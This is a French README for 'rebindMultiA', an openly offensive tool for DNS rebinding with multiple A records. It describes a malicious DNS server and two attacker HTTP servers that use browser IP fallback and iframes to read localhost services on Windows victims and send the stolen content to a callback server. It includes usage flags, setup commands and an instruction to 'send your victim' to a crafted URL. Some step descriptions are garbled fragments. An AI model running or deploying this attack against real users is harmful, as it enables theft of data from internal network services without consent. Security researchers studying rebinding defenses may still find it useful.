
Outil d'attaque de re-liaison DNS exploitant plusieurs enregistrements A pour contourner la politique de même origine et exfiltrer des données depuis les services réseau internes via le comportement de repli du navigateur.
rebindMultiA est un outil pour effectuer une attaque de rebind à enregistrements A multiples.
rebindmultia.com est un domaine que j'ai configuré pour aider avec ces attaques. Il fait de chaque IP son propre serveur de noms faisant autorité pour le domaine [IP].ns.rebindmultia.com. Par exemple, le serveur de noms faisant autorité de 13.33.33.37.ns.rebindmultia.com est 13.33.33.37.ip.rebindmultia.com qui résout (comme vous l'avez peut-être deviné) en 13.33.33.37.
L'attaque de rebind à enregistrements A multiples est une variante du DNS Rebinding qui exploite la capacité d'un attaquant à répondre avec deux adresses IP en réponse à une requête DNS et la tendance du navigateur à se rabattre sur la deuxième IP dans la réponse DNS lorsque la première ne répond pas. Dans cette attaque, l'attaquant configurera un serveur DNS malveillant et deux serveurs HTTP malveillants. Le serveur DNS répondra avec deux enregistrements A :
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 13.33.33.37
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 127.0.0.1
Le navigateur victime se connectera alors à la première IP et commencera à interagir avec le premier serveur HTTP malveillant de l'attaquant. Ce serveur répondra avec une page contenant deux iframes, l'un vers /steal et l'autre vers /rebind. L'iframe /steal chargera une page malveillante pour accéder à la deuxième iframe et en extraire le contenu. Le point de terminaison /rebind, lorsqu'il est appelé, émettra une redirection 302 vers / et mettra fin au premier serveur HTTP malveillant. En conséquence, lorsque le navigateur tentera de se reconnecter au serveur HTTP de l'attaquant, il trouvera un port fermé. Par conséquent, il se rabattra sur la deuxième IP. Une fois que le contenu cible a été chargé dans la deuxième iframe, la première iframe peut y accéder, voler les données et les exfiltrer vers le deuxième serveur HTTP malveillant de l'attaquant - le serveur de rappel.
Cette attaque fonctionne uniquement dans un environnement Windows. Linux et Mac utiliseront par défaut l'IP privée en premier et le serveur de l'attaquant ne sera jamais interrogé.

127.0.0.1.target.13.33.33.37.ns.rebindmultia.com.server.py) analyse le nom DNS demandé et retourne deux enregistrements A : 13.33.33.37 et 127.0.0.1.server.py) et charge la page /parent qui contient deux iframes./steal depuis le serveur HTTP malveillant de l'attaquant./rebind ce qui entraîne une redirection 302 vers / (le serveur HTTP se fermera après cette requête)./ conformément à la 302 du serveur de l'attaquant./ depuis le serveur HTTP de l'attaquant (maintenant mort), mais échoue.pip3 install -r requirements.txt
python3 server.py --help
usage: server.py [-h] [-p PORT] [-c CALLBACK_PORT] [-d DNS_PORT] [-f FILE] [-l LOCATION]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Specify port to attack on targetIp. Default: 80
-c CALLBACK_PORT, --callback-port CALLBACK_PORT
Specify the callback HTTP server port. Default: 31337
-d DNS_PORT, --dns-port DNS_PORT
Specify the DNS server port. Default: 53
-f FILE, --file FILE Specify the HTML file to display in the first iframe.(The "steal" iframe). Default: steal.html
-l LOCATION, --location LOCATION
Specify the location of the data you'd like to steal on the target. Default: /
Si vous obtenez cette erreur :
┬─[justin@RhynoDroplet:~/p/rebindMultiA]─[14:26:24]─[G:master=]
╰─>$ python3 server.py
Traceback (most recent call last):
File "server.py", line 2, in <module>
from http.server import HTTPServer, BaseHTTPRequestHandler, ThreadingHTTPServer
ImportError: cannot import name 'ThreadingHTTPServer'
Alors vous devez utiliser une version plus récente de Python. Python 3.7+.
Cela doit être exécuté depuis une IP publiquement accessible.
git clone https://github.com/Rhynorater/rebindMultiA
cd rebindMutliA
pip3 install -r requirements.txt
echo "Send your victim to http://127.0.0.1.target.`curl -s http://ipinfo.io/ip`.ns.rebindmultia.com/parent to exfil 127.0.0.1"
sudo python3 server.py
127.0.0.1. Il contacte ensuite ce serveur et charge la page dans l'iframe.steal de l'attaquant accède à la deuxième iframe nouvellement chargée et en extrait le contenu.steal de l'attaquant envoie ensuite les résultats au serveur de rappel de l'attaquant.